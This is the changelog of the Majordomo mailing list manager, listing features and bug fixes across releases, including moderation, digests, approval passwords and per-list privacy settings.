added: mkdigest This will force a digest for the specified list to be created. With resend Most of resend's options can be controlled remotely using a configuration file including: moderation status approval password enabling administrivia checks debugging setting the maximum size for a message (in bytes) setting the message precedence purging received lines setting a reply-to header setting the list of files that determines valid posting addresses setting the sender envelope name A number of features have been added to resend that are also able to be controlled remotely. Arbitrary headers can be added to outgoing messages Arbitrary text can be added before the body of an outgoing message. Arbitrary text can be added at the end of the body of an outgoing message. An arbitrary word can be prefixed to the subject line to allow easier scanning of list mail With digest Brent Chapman's digest program has been integrated with majordomo. As with the rest of the programs, the config file can be used to set all of its parameters including: issue and volume numbers digest name the size when a digest is automatically created the header and trailer for the digest the reply-to address can be set the sender name can be set In addition to the above, the config file version allows arbitrary headers to be added to the outgoing digest. Changes since release 1.60 ========================== Fixed a major bug in "majordomo" where a file wasn't properly being closed during an "unsubscribe" operation; this would cause (on some platforms, under some circumstances) multiple "unsubscribe" operations contained in a single message to Majordomo to fail silently. Added "Doc" directory, with documentation (well, more documentation than was there previously, anyway) for Majordomo. Included in the directory is the original paper on Majordomo and a file of instructions and explanations about Majordomo for new list owners. Added "Doc/samples" directory of sample list configuration files; thanks to Vince Skahan . Added "Doc/man" directory of online manual pages. Added "majordomo.8" and "approve.1" as the first entries; thanks to Jim Duncan . Fixed a major bug in "approve" that was keeping it from working on standard input. Fixed a minor bug in "approve" that was causing an extra blank line to be added after each "approve" line generated. Changes since release 1.56 ========================== "resend" will now look for an "Approved:" line as the first line of the body, in addition to as a header. This makes it easier for folks who can't insert headers with their mailer to generate "Approved:" lines. "approve" will now approve messages that have been bounced by "resend", in addition to "request for approval" messages generated by Majordomo. This means that you can now easily set up a moderated mailing list by specifying the "-A" and "-a " arguments to "resend", which will cause "resend" to send messages without a valid "Approved:" line to the list owner, who can then use "approve" to OK the messages that they want to be posted. Added support for a "majordomo_version.pl" file, which now lists the official version number for a particular release of the Majordomo package. A "help" command will now return this number, reflecting the version number of the entire package, rather than the version number of the "majordomo" PERL file (which is what "help" returned before). Fixed minor bug where list names were not always being converted to lower case. Thanks to Roger Klorese . Changes since release 1.54 ========================== Added "--" as the first line of responses generated by Majordomo. This keeps bounces of Majordomo-generated messages from being reprocessed as input if some broken mailer bounces them back to Majordomo instead of Majordomo-Owner. Added check to ensure that an address really is subscribed to a list before attempting to process an "unsubscribe" request for that address. This should stop the generation of "approve unsubscribe" requests for addresses that aren't really on the list anyway. Added comments to "sample.cf" file to document all variables set there. Added "get" and "index" commands to access files related to a list. Courtesy of Alan Millar and Paul Haas . Added "-I" (restrict incoming messages to list members) and "-r" (add a "Reply-To:" field) flags to "resend"; see "resend.README" for details. Courtesy of Jon Luini . Renamed "sendmail" subroutine in "resend" to "resend_sendmail", to avoid conflict with "sendmail" subroutine in "majordomo.pl" file. This should put an end to the "Malformed command links" warnings from "resend". Added "-a" (set an "approval" password) and "-A" (require approval of all messages; i.e., make this a moderated mailing list) flags to "resend"; see "resend.README" for details. Added a comment to "README" about running setuid to a sendmail "trusted" user. Added "W_MAJORDOMO_CF" environment variable support to "Makefile" and "wrapper.c", so that this can be hard-coded into "wrapper", rather than inheireted from the environment of "wrapper" (which is a security problem). Changed "request-answer" by expanding recording to include info about the "unsubscribe" command. Changes since release 1.46 ========================== Updated README file. Removed MH dependencies from "approve"; it now works on stdin or file names passed as arguments. Changed "approve" from using multiple ~/.passwd/* files to using a single file ~/.majordomo. See the comments at the start of "approve" for more info. Changed "bounce" from using multiple ~/.passwd/* files to using a single file ~/.majordomo. See the comments at the start of "bounce" for more info. Changes in 1.46 =============== NOTE WELL: existance of a ".private" file used to mean the same thing as existance of a ".closed" file. ".private" now means something different (see below). If you've got lists that are currently ".private", you should make them ".closed" before you install this version of Majordomo. Filename changes (mostly to accomodate 14-character limits): bounce-reminder bounce-remind majordomo.cf.sample sample.cf request-recording request-answer mailstuff.pl majordomo.pl Code reorganization; moved must support functions to "majordomo.pl". Fixed log locking bug; log now locked before each write. Fixed truncation bug caused by indiscriminate "chop"; now only chops trailing newlines. Both "subscribe" and "unsubscribe" now check to see if a requesting address looks like a real name rather than an email address (i.e., if the user issued a LISTSERV-style "subscribe " command, rather than a Majordomo-style "subscribe []" command). If it doesn't look like an email address, it squawks to the user and punts the request. Majordomo now slightly more liberal in accepting list names; it will now take "", "list@site", and "" as synonyms for "list". Majordomo now recognizes any line beginning with a "-" as equivalent to an "end" command, so it won't process automatically-added signatures any more. All requests to a given list can now be automatically approved by creating a file "$listdir/.auto". The list owner still gets the standard "SUBSCRIBE" and "UNSUBSCRIBE" advisories. Responses to "info" requests now include a "last updated " line at the end, telling when the ".info" file was last updated. If you want the date printed and labelled in a particular timezone (GMT, say), you need to set that timezone in your TZ environment variable; something like this in your majordomo.cf file works well: $ENV{"TZ"} = "GMT"; Which mailer to use, and what arguments to pass it, can now be configured in the .cf file. You have to use a mailer that will accept the header along with the text of the message (such as sendmail). To set your own mailer, set the "$mailer" variable in the .cf file to the string to use to invoke the mailer. The default, if none is specified, is: "/usr/lib/sendmail -f\$sender \$to" You can use "\$sender", "\$to", "\$from", and/or "\$subject" in your command. Make sure you use the "\", so that these variables will be expanded later, rather than when the .cf file is read. The "which" command now does a case-insensitive substring match, rather than an address match. Any address which matches the argument to "which" is included in the output to "which". I.e., "which brent" will now match "brent", "Brent@GreatCircle.COM", "Chapman@GreatCircle.COM (Brent Chapman)", etc. You can now tell Majordomo, on a per-list basis, to strip comments from addresses before writing them to the list file by creating a file "$listdir/.strip". For example, in both "Brent@GreatCircle.COM (Brent Chapman)" and "Brent Chapman ", "Brent Chapman" is a comment, and the address can be simplified to "brent@greatcircle.com". You can now tell Majordomo, on a per-list basis, that a list is "private" by creating a file "$listdir/.private". If such a file exists, then only members of the list can access the list with "who" and "which" commands. $Header: /sources/cvsrepos/majordomo/Changelog,v 1.23 1997/08/27 15:56:13 cwilson Exp $